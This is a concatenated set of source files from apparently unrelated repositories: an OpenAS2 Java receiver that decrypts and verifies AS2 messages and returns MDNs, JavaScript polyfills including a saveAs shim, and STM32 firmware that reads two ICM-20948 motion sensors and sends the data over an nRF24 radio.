import org.openas2.message.MessageMDN;
import org.openas2.message.NetAttribute;
import org.openas2.partner.AS2Partnership;
import org.openas2.partner.ASXPartnership;
import org.openas2.partner.Partnership;
import org.openas2.processor.sender.SenderModule;
import org.openas2.processor.storage.StorageModule;
import org.openas2.util.AS2UtilOld;
import org.openas2.util.ByteArrayDataSource;
import org.openas2.util.DispositionType;
import org.openas2.util.HTTPUtil;
import org.openas2.util.IOUtilOld;
import org.openas2.util.Profiler;
import org.openas2.util.ProfilerStub;
import org.bouncycastle.mail.smime.*;
public class AS2ReceiverHandler implements NetModuleHandler {
private AS2ReceiverModule module;
private Log logger = LogFactory.getLog(AS2ReceiverHandler.class
.getSimpleName());
public AS2ReceiverHandler(AS2ReceiverModule module) {
super();
this.module = module;
}
public String getClientInfo(Socket s) {
return " " + s.getInetAddress().getHostAddress() + " "
+ Integer.toString(s.getPort());
}
public AS2ReceiverModule getModule() {
return module;
}
public void handle(NetModule owner, Socket s) {
logger.info("incoming connection" + getClientInfo(s));
AS2Message msg = createMessage(s);
byte[] data = null;
// Time the transmission
ProfilerStub transferStub = Profiler.startProfile();
// Read in the message request, headers, and data
try {
data = HTTPUtil.readData(s, msg);
} catch (Exception e) {
NetException ne = new NetException(s.getInetAddress(), s.getPort(),
e);
ne.terminate();
}
Profiler.endProfile(transferStub);
if (data != null) {
logger.info("received "
+ IOUtilOld.getTransferRate(data.length, transferStub)
+ getClientInfo(s) + msg.getLoggingText());
// TODO store HTTP request, headers, and data to file in Received
// folder -> use message-id for filename?
try {
// Put received data in a MIME body part
ContentType receivedContentType = null;
MimeBodyPart receivedPart;
String contentType = msg.getHeader("Content-Type");
try {
/*
* receivedPart = new MimeBodyPart(msg.getHeaders(), data);
* msg.setData(receivedPart); receivedContentType = new
* ContentType(receivedPart.getContentType());
*/
receivedContentType = new ContentType(
msg.getHeader("Content-Type"));
receivedPart = new MimeBodyPart();
receivedPart.setDataHandler(new DataHandler(
new ByteArrayDataSource(data, receivedContentType
.toString(), null)));
receivedPart.setHeader("Content-Type",
receivedContentType.toString());
msg.setData(receivedPart);
} catch (Exception e) {
throw new DispositionException(
new DispositionType("automatic-action",
"MDN-sent-automatically", "processed",
"Error", "unexpected-processing-error"),
AS2ReceiverModule.DISP_PARSING_MIME_FAILED, e);
}
// Extract AS2 ID's from header, find the message's partnership
// and update the message
try {
msg.getPartnership().setSenderID(AS2Partnership.PID_AS2,
msg.getHeader("AS2-From"));
msg.getPartnership().setReceiverID(AS2Partnership.PID_AS2,
msg.getHeader("AS2-To"));
getModule().getSession().getPartnershipFactory()
.updatePartnership(msg, false);
} catch (OpenAS2Exception oae) {
throw new DispositionException(new DispositionType(
"automatic-action", "MDN-sent-automatically",
"processed", "Error", "authentication-failed"),
AS2ReceiverModule.DISP_PARTNERSHIP_NOT_FOUND, oae);
}
// Some partners compress after encryption. So, decompress before decrypting
decompress(msg);
// Decrypt and verify signature of the data, and attach data to
// the message
decryptAndVerify(msg);
// Transmit a success MDN if requested
try {
if (msg.isRequestingMDN()) {
sendMDN(s, msg, new DispositionType("automatic-action",
"MDN-sent-automatically", "processed"),
AS2ReceiverModule.DISP_SUCCESS);
} else {
BufferedOutputStream out = new BufferedOutputStream(
s.getOutputStream());
HTTPUtil.sendHTTPResponse(out,
HttpURLConnection.HTTP_OK, false);
out.flush();
out.close();
logger.info("sent HTTP OK" + getClientInfo(s)
+ msg.getLoggingText());
}
} catch (Exception e) {
throw new WrappedException(
"Error creating and returning MDN, message was stilled processed",
e);
}
decompress(msg);
// Process the received message
try {
getModule().getSession().getProcessor()
.handle(StorageModule.DO_STORE, msg, null);
// call edi translator. Ideally, we can put this in spring
} catch (OpenAS2Exception oae) {
throw new DispositionException(
new DispositionType("automatic-action",
"MDN-sent-automatically", "processed",
"Error", "unexpected-processing-error"),
AS2ReceiverModule.DISP_STORAGE_FAILED, oae);
}
} catch (DispositionException de) {
sendMDN(s, msg, de.getDisposition(), de.getText());
getModule().handleError(msg, de);
} catch (OpenAS2Exception oae) {
getModule().handleError(msg, oae);
}
}
}
private void decompress(AS2Message msg)
throws DispositionException {
try {
String msgContentType = msg.getHeader("Content-Type");
logger.info(msgContentType);
if (msgContentType
.contains(AS2ReceiverModule.SMIME_TYPE_COMPRESSED_DATA)) {
logger.info("In compression");
SMIMECompressed compressed = new SMIMECompressed(
msg.getData());
// uncompression step MimeBodyPart
MimeBodyPart recoveredPart = SMIMEUtil
.toMimeBodyPart(compressed.getContent());
// content display step
msg.setContentType(recoveredPart.getContentType());
msg.setData(recoveredPart);
}
}
catch (Exception ex) {
logger.error("exception" + ex.getMessage());
throw new DispositionException(
new DispositionType("automatic-action",
"MDN-sent-automatically", "processed",
"Error", "unexpected-processing-error"),
AS2ReceiverModule.DISP_DECOMPRESSION_ERROR, ex);
}
}
// Create a new message and record the source ip and port
protected AS2Message createMessage(Socket s) {
AS2Message msg = new AS2Message();
msg.setAttribute(NetAttribute.MA_SOURCE_IP, s.getInetAddress()
.toString());
msg.setAttribute(NetAttribute.MA_SOURCE_PORT,
Integer.toString(s.getPort()));
msg.setAttribute(NetAttribute.MA_DESTINATION_IP, s.getLocalAddress()
.toString());
msg.setAttribute(NetAttribute.MA_DESTINATION_PORT,
Integer.toString(s.getLocalPort()));
return msg;
}
protected void decryptAndVerify(Message msg) throws OpenAS2Exception {
CertificateFactory certFx = getModule().getSession()
.getCertificateFactory();
ICryptoHelper ch;
try {
ch = AS2UtilOld.getCryptoHelper();
} catch (Exception e) {
throw new WrappedException(e);
}
try {
if (ch.isEncrypted(msg.getData())) {
// Decrypt
logger.debug("decrypting" + msg.getLoggingText());
X509Certificate receiverCert = certFx.getCertificate(msg,
Partnership.PTYPE_RECEIVER);
PrivateKey receiverKey = certFx
.getPrivateKey(msg, receiverCert);
msg.setData(AS2UtilOld.getCryptoHelper().decrypt(msg.getData(),
receiverCert, receiverKey));
new ContentType(msg.getData().getContentType());
}
} catch (Exception e) {
throw new DispositionException(new DispositionType(
"automatic-action", "MDN-sent-automatically", "processed",
"Error", "decryption-failed"),
AS2ReceiverModule.DISP_DECRYPTION_ERROR, e);
}
try {
if (ch.isSigned(msg.getData())) {
logger.debug("verifying signature" + msg.getLoggingText());
X509Certificate senderCert = certFx.getCertificate(msg,
Partnership.PTYPE_SENDER);
msg.setData(AS2UtilOld.getCryptoHelper().verify(msg.getData(),
senderCert));
}
} catch (Exception e) {
throw new DispositionException(new DispositionType(
"automatic-action", "MDN-sent-automatically", "processed",
"Error", "integrity-check-failed"),
AS2ReceiverModule.DISP_VERIFY_SIGNATURE_FAILED, e);
}
}
protected void sendMDN(Socket s, AS2Message msg,
DispositionType disposition, String text) {
boolean mdnBlocked = false;
mdnBlocked = (msg.getPartnership().getAttribute(
ASXPartnership.PA_BLOCK_ERROR_MDN) != null);
if (!mdnBlocked) {
try {
MessageMDN mdn = AS2UtilOld.createMDN(getModule().getSession(),
msg, disposition, text);
BufferedOutputStream out;
out = new BufferedOutputStream(s.getOutputStream());
// if asyncMDN requested, close connection and initiate separate
// MDN send
if (msg.isRequestingAsynchMDN()) {
HTTPUtil.sendHTTPResponse(out, HttpURLConnection.HTTP_OK,
false);
out.write("Content-Length: 0\r\n\r\n".getBytes());
out.flush();
out.close();
logger.info("setup to send asynch MDN ["
+ disposition.toString() + "]" + getClientInfo(s)
+ msg.getLoggingText());
getModule().getSession().getProcessor()
.handle(SenderModule.DO_SENDMDN, msg, null);
return;
}
// otherwise, send sync MDN back on same connection
HTTPUtil.sendHTTPResponse(out, HttpURLConnection.HTTP_OK, true);
// make sure to set the content-length header
ByteArrayOutputStream data = new ByteArrayOutputStream();
MimeBodyPart part = mdn.getData();
IOUtilOld.copy(part.getInputStream(), data);
mdn.setHeader("Content-Length", Integer.toString(data.size()));
Enumeration headers = mdn.getHeaders().getAllHeaderLines();
String header;
while (headers.hasMoreElements()) {
header = (String) headers.nextElement() + "\r\n";
out.write(header.getBytes());
}
out.write("\r\n".getBytes());
data.writeTo(out);
out.flush();
out.close();
// Save sent MDN for later examination
getModule().getSession().getProcessor()
.handle(StorageModule.DO_STOREMDN, msg, null);
logger.info("sent MDN [" + disposition.toString() + "]"
+ getClientInfo(s) + msg.getLoggingText());
} catch (Exception e) {
WrappedException we = new WrappedException("Error sending MDN",
e);
we.addSource(OpenAS2Exception.SOURCE_MESSAGE, msg);
we.terminate();
}
}
}
}<file_sep>/old/src/org/openas2/logging/Formatter.java
package org.openas2.logging;
import java.io.OutputStream;
import org.openas2.OpenAS2Exception;
public interface Formatter {
public String format(Level level, String msg);
public String format(OpenAS2Exception exception, boolean terminated);
public void format(Level level, String msg, OutputStream out);
public void format(OpenAS2Exception exception, boolean terminated, OutputStream out);
}
| 495e83699623cd961d0a89abdb3516f045254a9d | [
"Java"
] | 2 | Java | gastonprieto/openas2-server | 3fda3706419b42eab8e6ddb32970d4b064b8754f | 87cd03f20e28dbf6f98560bbdda8269dd84ddb3d |
refs/heads/master | <repo_name>growaspeople/polyfills-loader<file_sep>/polyfills.js
(function() {
"use strict";
/*
* String.prototype.startsWith
* Brought from MDN: https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith
* License: CC0 1.0 Universal (Public Domain) http://creativecommons.org/publicdomain/zero/1.0/
*/
if (!String.prototype.startsWith) {
Object.defineProperty(String.prototype, "startsWith", {
enumerable: false,
configurable: false,
writable: false,
value: function(searchString, position) {
position = position || 0;
return this.lastIndexOf(searchString, position) === position;
}
});
}
/*
* String.prototype.includes
* Brought from MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes
* License: CC0 1.0 Universal (Public Domain) http://creativecommons.org/publicdomain/zero/1.0/
*/
if (!String.prototype.includes) {
String.prototype.includes = function() {
return String.prototype.indexOf.apply(this, arguments) !== -1;
};
}
/*
* Array.prototype.includes
* Brought from MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes
* License: CC0 1.0 Universal (Public Domain) http://creativecommons.org/publicdomain/zero/1.0/
*/
if (![].includes) {
Array.prototype.includes = function(searchElement /*, fromIndex*/ ) {
var O = Object(this);
var len = parseInt(O.length) || 0;
if (len === 0) {
return false;
}
var n = parseInt(arguments[1]) || 0;
var k;
if (n >= 0) {
k = n;
} else {
k = len + n;
if (k < 0) {k = 0;}
}
var currentElement;
while (k < len) {
currentElement = O[k];
if (searchElement === currentElement ||
(searchElement !== searchElement && currentElement !== currentElement))
{
return true;
}
k++;
}
return false;
};
}
/* window.saveAs
* Shims the saveAs method, using saveBlob in IE10.
* And for when Chrome and FireFox get round to implementing saveAs we have their vendor prefixes ready.
* But otherwise this creates a object URL resource and opens it on an anchor tag which contains the "download" attribute (Chrome)
* ... or opens it in a new tab (FireFox)
* @author <NAME>
* @copyright MIT, BSD. Free to clone, modify and distribute for commercial and personal use.
* @see https://gist.github.com/MrSwitch/3552985, https://gist.github.com/phanect/46b692241c6bbe456994
*/
if (window) {
window.saveAs || ( window.saveAs = (window.navigator.msSaveBlob ? function(b,n){ return window.navigator.msSaveBlob(b,n); } : false) || window.webkitSaveAs || window.mozSaveAs || window.msSaveAs || (function(){
// URL's
window.URL || (window.URL = window.webkitURL);
if(!window.URL){
return false;
}
return function(blob,name){
var url = URL.createObjectURL(blob);
// Test for download link support
if( "download" in document.createElement("a") ){
var a = document.createElement("a");
a.setAttribute("href", url);
a.setAttribute("download", name);
// Create Click event
var clickEvent = document.createEvent ("MouseEvent");
clickEvent.initMouseEvent ("click", true, true, window, 0,
clickEvent.screenX, clickEvent.screenY, clickEvent.clientX, clickEvent.clientY,
clickEvent.ctrlKey, clickEvent.altKey, clickEvent.shiftKey, clickEvent.metaKey,
0, null);
// dispatch click event to simulate download
a.dispatchEvent (clickEvent);
}
else{
// fallover, open resource in new tab.
window.open(url, "_blank", "");
}
};
})() );
}
}());
<file_sep>/README.md
# polyfills-loader
Polyfills used in GrowAsPeople projects
| 536d75a47454ab94ec2eace0441a1545f0ae640c | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | growaspeople/polyfills-loader | 008ecfef7161271709aa724ced2c8cc5895b203a | dfcb46667ada4241699f3d0c3a7468ff3db1c335 |
refs/heads/master | <repo_name>bernardlee99/mhealth-dev<file_sep>/Main-mHealth_Rev2/Src/main.c
/* USER CODE BEGIN Header */
/**
******************************************************************************
* @file : main.c
* @brief : Main program body
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2020 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
/* USER CODE END Header */
/* Includes ------------------------------------------------------------------*/
#include "main.h"
/* Private includes ----------------------------------------------------------*/
/* USER CODE BEGIN Includes */
#include "ICM_20948.h"
#include "ICM_20948_2.h"
#include "MY_NRF24.h"
/* USER CODE END Includes */
/* Private typedef -----------------------------------------------------------*/
/* USER CODE BEGIN PTD */
/* USER CODE END PTD */
/* Private define ------------------------------------------------------------*/
/* USER CODE BEGIN PD */
/* USER CODE END PD */
/* Private macro -------------------------------------------------------------*/
/* USER CODE BEGIN PM */
/* USER CODE END PM */
/* Private variables ---------------------------------------------------------*/
I2C_HandleTypeDef hi2c2;
SPI_HandleTypeDef hspi2;
SPI_HandleTypeDef hspi3;
UART_HandleTypeDef huart2;
/* USER CODE BEGIN PV */
int16_t tx_buffer[20];
char uart_buffer[100];
uint64_t TxpipeAddrs = 0x11223344AA;
char AckPayload[32];
/* USER CODE END PV */
/* Private function prototypes -----------------------------------------------*/
void SystemClock_Config(void);
static void MX_GPIO_Init(void);
static void MX_I2C2_Init(void);
static void MX_SPI2_Init(void);
static void MX_SPI3_Init(void);
static void MX_USART2_UART_Init(void);
/* USER CODE BEGIN PFP */
/* USER CODE END PFP */
/* Private user code ---------------------------------------------------------*/
/* USER CODE BEGIN 0 */
/* USER CODE END 0 */
/**
* @brief The application entry point.
* @retval int
*/
int main(void)
{
/* USER CODE BEGIN 1 */
/* USER CODE END 1 */
/* MCU Configuration--------------------------------------------------------*/
/* Reset of all peripherals, Initializes the Flash interface and the Systick. */
HAL_Init();
/* USER CODE BEGIN Init */
/* USER CODE END Init */
/* Configure the system clock */
SystemClock_Config();
/* USER CODE BEGIN SysInit */
/* USER CODE END SysInit */
/* Initialize all configured peripherals */
MX_GPIO_Init();
MX_I2C2_Init();
MX_SPI2_Init();
MX_SPI3_Init();
MX_USART2_UART_Init();
/* USER CODE BEGIN 2 */
NRF24_begin(nRF_CS_GPIO_Port, nRF_CS_Pin, nRF_CE_Pin, hspi3);
nrf24_DebugUART_Init(huart2);
NRF24_stopListening();
NRF24_openWritingPipe(TxpipeAddrs);
NRF24_setAutoAck(true);
NRF24_setChannel(52);
NRF24_setPayloadSize(32);
NRF24_enableDynamicPayloads();
NRF24_enableAckPayload();
printRadioSettings();
ICM_SelectBank(USER_BANK_0);
ICM_PowerOn();
ICM2_SelectBank(USER_BANK_0);
ICM2_PowerOn();
/* USER CODE END 2 */
/* Infinite loop */
/* USER CODE BEGIN WHILE */
while (1)
{
/* USER CODE END WHILE */
/* USER CODE BEGIN 3 */
ICM_SelectBank(USER_BANK_0);
HAL_Delay(10);
// Obtain accelerometer and gyro data
ICM_ReadAccelGyro();
ICM2_ReadAccelGyro();
// Obtain magnetometer data
int16_t mag_data[3];
ICM_ReadMag(mag_data);
int16_t mag_data_2[3];
ICM2_ReadMag(mag_data_2);
// ppgunsigned16 = 15;
// //Read PPG sensor data
// if(MAX86150_check() > 0) {
// ppgunsigned16 = (uint16_t) (MAX86150_getFIFORed()>>2);
// ppgunsigned16 = 0;
// }
// Print raw, but joined, axis data values to screen
memcpy(tx_buffer, accel_data, sizeof(accel_data));
memcpy(&tx_buffer[3], gyro_data, sizeof(gyro_data));
memcpy(&tx_buffer[6], mag_data, sizeof(mag_data));
memcpy(&tx_buffer[9], accel_data_2, sizeof(accel_data_2));
memcpy(&tx_buffer[12], gyro_data_2, sizeof(gyro_data_2));
memcpy(&tx_buffer[15], mag_data_2, sizeof(mag_data_2));
// Print raw, but joined, axis data values to screen
sprintf(uart_buffer,
"1: (Ax: %i | Ay: %i | Az: %i) "
"(Gx: %i | Gy: %i | Gz: %i) "
"(Mx: %i | My: %i | Mz: %i) "
" \r\n",
accel_data[0], accel_data[1], accel_data[2],
gyro_data[0], gyro_data[1], gyro_data[2],
mag_data[0], mag_data[1], mag_data[2]);
HAL_UART_Transmit(&huart2, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
sprintf(uart_buffer,
"2`: (Ax: %i | Ay: %i | Az: %i) "
"(Gx: %i | Gy: %i | Gz: %i) "
"(Mx: %i | My: %i | Mz: %i) "
" \r\n",
accel_data_2[0], accel_data_2[1], accel_data_2[2],
gyro_data_2[0], gyro_data_2[1], gyro_data_2[2],
mag_data_2[0], mag_data_2[1], mag_data_2[2]);
HAL_UART_Transmit(&huart2, (uint8_t*) uart_buffer, strlen(uart_buffer), 1000);
if(NRF24_write(tx_buffer, sizeof(tx_buffer))) {
HAL_UART_Transmit(&huart2, (uint8_t *)"Transmitted Successfully\r\n", strlen("Transmitted Successfully\r\n"), 10);
char myDataack[80];
sprintf(myDataack, "AckPayload: %s \r\n", AckPayload);
HAL_UART_Transmit(&huart2, (uint8_t *)myDataack, strlen(myDataack), 10);
}
}
/* USER CODE END 3 */
}
/**
* @brief System Clock Configuration
* @retval None
*/
void SystemClock_Config(void)
{
RCC_OscInitTypeDef RCC_OscInitStruct = {0};
RCC_ClkInitTypeDef RCC_ClkInitStruct = {0};
RCC_PeriphCLKInitTypeDef PeriphClkInit = {0};
/** Initializes the CPU, AHB and APB busses clocks
*/
RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_HSI;
RCC_OscInitStruct.HSIState = RCC_HSI_ON;
RCC_OscInitStruct.HSICalibrationValue = RCC_HSICALIBRATION_DEFAULT;
RCC_OscInitStruct.PLL.PLLState = RCC_PLL_ON;
RCC_OscInitStruct.PLL.PLLSource = RCC_PLLSOURCE_HSI;
RCC_OscInitStruct.PLL.PLLMUL = RCC_PLL_MUL16;
if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK)
{
Error_Handler();
}
/** Initializes the CPU, AHB and APB busses clocks
*/
RCC_ClkInitStruct.ClockType = RCC_CLOCKTYPE_HCLK|RCC_CLOCKTYPE_SYSCLK
|RCC_CLOCKTYPE_PCLK1|RCC_CLOCKTYPE_PCLK2;
RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK;
RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1;
RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV2;
RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1;
if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_2) != HAL_OK)
{
Error_Handler();
}
PeriphClkInit.PeriphClockSelection = RCC_PERIPHCLK_I2C2;
PeriphClkInit.I2c2ClockSelection = RCC_I2C2CLKSOURCE_HSI;
if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInit) != HAL_OK)
{
Error_Handler();
}
}
/**
* @brief I2C2 Initialization Function
* @param None
* @retval None
*/
static void MX_I2C2_Init(void)
{
/* USER CODE BEGIN I2C2_Init 0 */
/* USER CODE END I2C2_Init 0 */
/* USER CODE BEGIN I2C2_Init 1 */
/* USER CODE END I2C2_Init 1 */
hi2c2.Instance = I2C2;
hi2c2.Init.Timing = 0x2000090E;
hi2c2.Init.OwnAddress1 = 0;
hi2c2.Init.AddressingMode = I2C_ADDRESSINGMODE_7BIT;
hi2c2.Init.DualAddressMode = I2C_DUALADDRESS_DISABLE;
hi2c2.Init.OwnAddress2 = 0;
hi2c2.Init.OwnAddress2Masks = I2C_OA2_NOMASK;
hi2c2.Init.GeneralCallMode = I2C_GENERALCALL_DISABLE;
hi2c2.Init.NoStretchMode = I2C_NOSTRETCH_DISABLE;
if (HAL_I2C_Init(&hi2c2) != HAL_OK)
{
Error_Handler();
}
/** Configure Analogue filter
*/
if (HAL_I2CEx_ConfigAnalogFilter(&hi2c2, I2C_ANALOGFILTER_ENABLE) != HAL_OK)
{
Error_Handler();
}
/** Configure Digital filter
*/
if (HAL_I2CEx_ConfigDigitalFilter(&hi2c2, 0) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN I2C2_Init 2 */
/* USER CODE END I2C2_Init 2 */
}
/**
* @brief SPI2 Initialization Function
* @param None
* @retval None
*/
static void MX_SPI2_Init(void)
{
/* USER CODE BEGIN SPI2_Init 0 */
/* USER CODE END SPI2_Init 0 */
/* USER CODE BEGIN SPI2_Init 1 */
/* USER CODE END SPI2_Init 1 */
/* SPI2 parameter configuration*/
hspi2.Instance = SPI2;
hspi2.Init.Mode = SPI_MODE_MASTER;
hspi2.Init.Direction = SPI_DIRECTION_2LINES;
hspi2.Init.DataSize = SPI_DATASIZE_8BIT;
hspi2.Init.CLKPolarity = SPI_POLARITY_HIGH;
hspi2.Init.CLKPhase = SPI_PHASE_2EDGE;
hspi2.Init.NSS = SPI_NSS_SOFT;
hspi2.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_2;
hspi2.Init.FirstBit = SPI_FIRSTBIT_MSB;
hspi2.Init.TIMode = SPI_TIMODE_DISABLE;
hspi2.Init.CRCCalculation = SPI_CRCCALCULATION_DISABLE;
hspi2.Init.CRCPolynomial = 7;
hspi2.Init.CRCLength = SPI_CRC_LENGTH_DATASIZE;
hspi2.Init.NSSPMode = SPI_NSS_PULSE_DISABLE;
if (HAL_SPI_Init(&hspi2) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SPI2_Init 2 */
/* USER CODE END SPI2_Init 2 */
}
/**
* @brief SPI3 Initialization Function
* @param None
* @retval None
*/
static void MX_SPI3_Init(void)
{
/* USER CODE BEGIN SPI3_Init 0 */
/* USER CODE END SPI3_Init 0 */
/* USER CODE BEGIN SPI3_Init 1 */
/* USER CODE END SPI3_Init 1 */
/* SPI3 parameter configuration*/
hspi3.Instance = SPI3;
hspi3.Init.Mode = SPI_MODE_MASTER;
hspi3.Init.Direction = SPI_DIRECTION_2LINES;
hspi3.Init.DataSize = SPI_DATASIZE_8BIT;
hspi3.Init.CLKPolarity = SPI_POLARITY_LOW;
hspi3.Init.CLKPhase = SPI_PHASE_1EDGE;
hspi3.Init.NSS = SPI_NSS_SOFT;
hspi3.Init.BaudRatePrescaler = SPI_BAUDRATEPRESCALER_8;
hspi3.Init.FirstBit = SPI_FIRSTBIT_MSB;
hspi3.Init.TIMode = SPI_TIMODE_DISABLE;
hspi3.Init.CRCCalculation = SPI_CRCCALCULATION_DISABLE;
hspi3.Init.CRCPolynomial = 7;
hspi3.Init.CRCLength = SPI_CRC_LENGTH_DATASIZE;
hspi3.Init.NSSPMode = SPI_NSS_PULSE_ENABLE;
if (HAL_SPI_Init(&hspi3) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN SPI3_Init 2 */
/* USER CODE END SPI3_Init 2 */
}
/**
* @brief USART2 Initialization Function
* @param None
* @retval None
*/
static void MX_USART2_UART_Init(void)
{
/* USER CODE BEGIN USART2_Init 0 */
/* USER CODE END USART2_Init 0 */
/* USER CODE BEGIN USART2_Init 1 */
/* USER CODE END USART2_Init 1 */
huart2.Instance = USART2;
huart2.Init.BaudRate = 38400;
huart2.Init.WordLength = UART_WORDLENGTH_8B;
huart2.Init.StopBits = UART_STOPBITS_1;
huart2.Init.Parity = UART_PARITY_NONE;
huart2.Init.Mode = UART_MODE_TX_RX;
huart2.Init.HwFlowCtl = UART_HWCONTROL_NONE;
huart2.Init.OverSampling = UART_OVERSAMPLING_16;
huart2.Init.OneBitSampling = UART_ONE_BIT_SAMPLE_DISABLE;
huart2.AdvancedInit.AdvFeatureInit = UART_ADVFEATURE_NO_INIT;
if (HAL_UART_Init(&huart2) != HAL_OK)
{
Error_Handler();
}
/* USER CODE BEGIN USART2_Init 2 */
/* USER CODE END USART2_Init 2 */
}
/**
* @brief GPIO Initialization Function
* @param None
* @retval None
*/
static void MX_GPIO_Init(void)
{
GPIO_InitTypeDef GPIO_InitStruct = {0};
/* GPIO Ports Clock Enable */
__HAL_RCC_GPIOF_CLK_ENABLE();
__HAL_RCC_GPIOA_CLK_ENABLE();
__HAL_RCC_GPIOB_CLK_ENABLE();
/*Configure GPIO pin Output Level */
HAL_GPIO_WritePin(GPIOA, nRF_CE_Pin|nRF_CS_Pin|ICM_CS_Pin|ICM2_CS_Pin, GPIO_PIN_RESET);
/*Configure GPIO pins : nRF_CE_Pin nRF_CS_Pin ICM_CS_Pin ICM2_CS_Pin */
GPIO_InitStruct.Pin = nRF_CE_Pin|nRF_CS_Pin|ICM_CS_Pin|ICM2_CS_Pin;
GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP;
GPIO_InitStruct.Pull = GPIO_NOPULL;
GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_LOW;
HAL_GPIO_Init(GPIOA, &GPIO_InitStruct);
}
/* USER CODE BEGIN 4 */
/* USER CODE END 4 */
/**
* @brief This function is executed in case of error occurrence.
* @retval None
*/
void Error_Handler(void)
{
/* USER CODE BEGIN Error_Handler_Debug */
/* User can add his own implementation to report the HAL error return state */
/* USER CODE END Error_Handler_Debug */
}
#ifdef USE_FULL_ASSERT
/**
* @brief Reports the name of the source file and the source line number
* where the assert_param error has occurred.
* @param file: pointer to the source file name
* @param line: assert_param error line source number
* @retval None
*/
void assert_failed(char *file, uint32_t line)
{
/* USER CODE BEGIN 6 */
/* User can add his own implementation to report the file name and line number,
tex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */
/* USER CODE END 6 */
}
#endif /* USE_FULL_ASSERT */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
<file_sep>/Main-mHealth/Inc/MAX86150.h
// Defines
#define MAX86150_Address 0xBC // Use this - tested
#define STORAGE_SIZE 4 //Each long is 4 bytes so limit this to fit on your micro
// Includes
#include <stdint.h>
I2C_HandleTypeDef hi2c1;
typedef struct Record
{
uint32_t red[STORAGE_SIZE];
uint32_t IR[STORAGE_SIZE];
int32_t ecg[STORAGE_SIZE];
uint8_t head;
uint8_t tail;
} sense_struct; //This is our circular buffer of readings from the sensor
sense_struct sense;
/**********************************************************************************
* FUNCTION PROTOTYPES
**********************************************************************************/
void MAX86150_setup();
void wakeUp();
void shutDown();
void setADCRange(uint8_t range);
void setSampleRate(uint8_t rate);
void setPulseWidth(uint8_t pulsewidth);
void setPulseAmplitudeGreen(uint8_t value);
void setPulseAmplitudeRed(uint8_t value);
void setPulseAmplitudeIR(uint8_t value);
void setPulseAmplitudeProximity(uint8_t value);
void setProximityThreshold(uint8_t value);
void setFIFOAverage(uint8_t samples);
void setFIFORollOver_ENABLE(void);
void setFIFORollOver_DISABLE(void);
// Interrupts
uint8_t getINT1(void);
uint8_t getINT2(void);
void enableA_FULL(void);
void disableA_FULL(void);
void enablePPG_RDY(void);
void disablePPG_RDY(void);
void enableALC_OVF(void);
void disableALC_OVF(void);
void enablePROX_INT(void);
void disablePROX_INT(void);
void clearFIFO(void);
uint32_t MAX86150_getFIFORed(void);
uint32_t getFIFOIR(void);
// Data Collection
uint16_t MAX86150_check(void);
uint8_t getReadPointer();
uint8_t getWritePointer();
// I2C Communication
uint8_t readRegister8(uint8_t address, uint8_t reg);
void writeRegister8(uint8_t SevenBitAddress, uint8_t reg, uint8_t value);
void bitMask(uint8_t reg, uint8_t mask, uint8_t value);
<file_sep>/Main-mHealth_Rev2/Inc/ICM_20948_2.h
#ifndef ICM20948_2
#define ICM20948_2
#include "string.h"
#include "stdbool.h"
#include <stdio.h>
SPI_HandleTypeDef hspi2;
UART_HandleTypeDef huart2;
#define SPI_BUS &hspi2
#define UART_BUS &huart2
int16_t accel_data_2[3];
int16_t gyro_data_2[3];
int16_t mag_data_2[3];
#define USER_BANK_SEL (0x7F)
#define USER_BANK_0 (0x00)
#define USER_BANK_1 (0x10)
#define USER_BANK_2 (0x20)
#define USER_BANK_3 (0x30)
#define PWR_MGMT_1 (0x06)
#define PWR_MGMT_2 (0x07)
#define GYRO_CONFIG_1 (0x01)
#define CLK_BEST_AVAIL (0x01)
#define GYRO_RATE_250 (0x00)
#define GYRO_RATE_500 (0x01)
#define GYRO_LPF_17HZ (0x29)
void ICM2_PowerOn();
uint8_t ICM2_WHOAMI(void);
void ICM2_SelectBank(uint8_t bank);
void ICM2_ReadAccelGyro(void);
void ICM2_ReadMag(int16_t magn[3]);
uint16_t ICM2_Initialize(void);
void ICM2_SelectBank(uint8_t bank);
void ICM2_Disable_I2C(void);
void ICM2_CSHigh(void);
void ICM2_CSLow(void);
void ICM2_SetClock(uint8_t clk);
void ICM2_AccelGyroOff(void);
void ICM2_AccelGyroOn(void);
void ICM2_SetGyroRateLPF(uint8_t rate, uint8_t lpf);
void ICM2_SetGyroLPF(uint8_t lpf);
void ICM2_init(void);
bool ICM2_deviceCheck(void);
void ICM2_readAddress(uint8_t address, uint8_t size);
//void test_accel(void);
#endif
<file_sep>/Main-mHealth/Src/main.c
/* USER CODE BEGIN Header */
/**
******************************************************************************
* @file : main.c
* @brief : Main program body
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
/* USER CODE END Header */
